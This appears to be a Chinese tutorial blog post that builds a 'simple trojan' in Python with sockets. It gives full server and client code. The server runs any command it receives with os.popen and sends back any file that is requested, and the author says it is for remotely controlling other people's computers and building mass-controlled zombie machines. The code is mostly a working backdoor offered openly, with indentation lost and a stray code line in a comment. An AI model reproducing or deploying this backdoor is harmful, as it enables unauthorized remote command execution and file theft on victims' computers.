reference
用socket写一个简单木马
并没有,其实是需要服务端通力合作才能完成这个木马,所以并没有实操的那么强,但是增进理解。///其实是我理解的不对,这个木马有用啊,植入后能够远程控制别人的电脑,这样就可以实现了一个shell,如果全自动大规模控制,那就是肉鸡了。
在3.1节,我们学习了socket编程的基础,可以实现基本的client和server端的编程。本节在此基础上,实现client和server端的连接和交互,实现一个基本的木马程序。该程序可以实现读取服务端文件内容发送给客户端,或者执行shell命令。
3.2.1 服务端
我们先按照之前的做法,创建server类,在start方法中完成服务器的启动和监听,并保持连接接收客户端发送的数据。代码如下:
def executeCommand(self, tcpCliSock, data): # 解析并执行命令
try:#
message = data.decode("utf-8")
if os.path.isfile(message):
#判断是否是文件
filesize = str(os.path.getsize(message))
#获取文件大小
print("文件大小为:",filesize)
tcpCliSock.send(filesize.encode())
#发送文件大小
data = tcpCliSock.recv(self.bufferSize)
print("开始发送")
with open(message, "rb") as f:
#打开文件tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
for line in f.readlines():
tcpCliSock.send(line)
#发送文件内容
else:
print(1)
tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
print(1)
except:
raise
3.2.2
下面代码中有一些调优,主要是timeout上和对命令结果的处理。
全代码-server
# -*- coding: UTF-8 -*-
import socket
import sys
import os
class server:
def __init__(self, ip, port):
self.port = port
self.ip = ip
self.bufferSize = 1024
def executeCommand(self, tcpCliSock, data): # 解析并执行命令
try:#
message = data.decode("utf-8")
if os.path.isfile(message):
#判断是否是文件
filesize = str(os.path.getsize(message))
print("文件大小为:",filesize)
#获取文件大小
tcpCliSock.send(filesize.encode())
#发送文件大小
data = tcpCliSock.recv(self.bufferSize)
print("开始发送")
with open(message, "rb") as f:
#打开文件tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
for line in f.readlines():
tcpCliSock.send(line)
#发送文件内容
else:
print("processing by shell")
data = os.popen(message).read().encode('utf-8')
tcpCliSock.send(('0001: '+str(len(data))).encode('utf-8'))
_ = tcpCliSock.recv(self.bufferSize)
res = tcpCliSock.send(data)
print(res)
# tcpCliSock.send(('0001'+str(os.system(message))).encode('UTF-8'))
except:
raise
def start(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#创建socket
try:
s.bind((self.ip, self.port)) # 绑定
# 把socket绑定到传入的IP和端口上,调用bind方法,传入ip和端口号。
s.listen(10)#监听
print('socket正在监听')
# 进入监听状态,listen方法接收一个参数,用来指定可以同时挂起的连接数。
print("s.family", s.family)
N = 5
while True:
# N -= 1
# if N == 4:
# break
try:
print('等待客户端连接')
conn, addr = s.accept() # 接收连接
# accept方法会返回一个代表当前链接的connection对象和客户端的ip地址
print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
while True:
data = conn.recv(self.bufferSize) # 接收数据
print("客户端数据:%s" % data.decode('UTF-8'))
if not data:
break
else:
self.executeCommand(conn, data)
# conn.sendall(bytes("你好客户端\n\r", encoding = "utf8")) # 发送数据
print("服务端消息发往客户端成功")
conn.close()#关闭连接
except socket.error as e:
print(e)
sys.exit()
finally:
print("关闭服务器")
s.close() #关闭服务端
if __name__ == '__main__':
s = server('', 8008)
s.start()
在上面的代码中,我们使用了连个while...true循环,第一个用来接收新的连接,第二个是在当前连接中保持连接,一直接收数据。此处我们假定客户端发送的命令数据一定小于10240 byte,
ps:成功是成功了,可是在运行一次后报错哦, 破案:是因为设定的10240--10K不够用,我的哪个目录文件比较大,需要循环发送,而本地又没有给回复一个消息让他继续传消息,所以说被cli强迫关闭了,因为cli不给反应。
[WinError 10054] 远程主机强迫关闭了一个现有的连接
全代码-cli
# -*- coding: UTF-8 -*-
import socket
import sys
import re
import os
#测试类
class Client:
def __init__(self, host, ip=None, port=80, message=None):
self.host = host #待连接的远程主机的域名
self.ip = ip
self.port = port
self.msg = bytes(message, encoding='UTF-8') if message else None
self.bufferSize = 10240
self.timeout = 2 # 最长2s的延迟等待
#
#
def change_msg(self, message):
self.msg = bytes(message, encoding='UTF-8')
#
#
def executeResult(self, data, message, s='socket'):
if re.search("^0001: ",data.decode('utf-8','ignore')):
#判断数据类型为命令结果
file_total_size = int(data.decode('utf-8')[6:])#总大小
s.send("File size received".encode())#通知服务端可以发送文件了
received_size = 0
res = s.recv(self.bufferSize).decode('utf-8')
print(res)
if len(res) < file_total_size:
print("*"*10, "please increase your bufferSize", "*"*10)
else:
#判断数据类型为文件内容处理,data第一次收到的是文件的大小
s.send("File size received".encode())#通知服务端可以发送文件了
file_total_size = int(data.decode())#总大小
received_size = 0
with open("robot_" + os.path.split(message)[-1], "wb") as file:#创建文件
while received_size < file_total_size:
print("received_size:",received_size," / file_total_size:",file_total_size)
data = s.recv(self.bufferSize)
file.write(data)#写文件
received_size += len(data)#累加接收长度
print("已接收:", received_size)
print("receive done", file_total_size, " ", received_size)
#
#
def connect(self): #连接方法
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
print('socket created')
except socket.error as e:
print("Failed to create socket. Error: %s"%e)
sys.exit() #退出进程
try:
remote_ip = self.ip or socket.gethostbyname(self.host)#根据域名获取ip
print("get domain by IP: ", remote_ip)
except socket.gaierror as e:
print('主机无法被解析:', e)
sys.exit() #退出进程
try:
s.connect((remote_ip, self.port)) #连接
print('socket连接成功')
# message = self.msg or bytes("GET / HTTP/1.1\r\n\r\n", encoding="UTF-8")
# message = b"GET / HTTP/1.1\r\n\r\n"
# s.sendall(message) #发送数据
# print('发送数据成功')
# reply = s.recv(self.bufferSize) #接收数据
while True:
message = input('> ') # 接收用户输入
if not message:
continue
elif message == 'quit':
break
elif message == '':
continue
else:
s.send(bytes(message, 'utf-8'))#发送命令
print("successful Sending message")
reply = s.recv(self.bufferSize)
if reply:
self.executeResult(reply, message, s)
else:
break
print("original data", reply)
s.close() #关闭连接
except socket.error as e:
print("socket error")
print('发送数据失败')
s.close() #关闭连接
raise e
print("thanks for using")
return
if __name__ == '__main__':
message = 'dir ..'
cl = Client('www.fuckme.com', '127.0.0.1', 8008, message)
# cl = Client('www.fuckme.com', '127.0.0.1', 8008, "**")
# cl = Client('www.woqunidaye.com')
# cl = Client('www.baidu.com')
cl.connect()
#cl.connect()
网友评论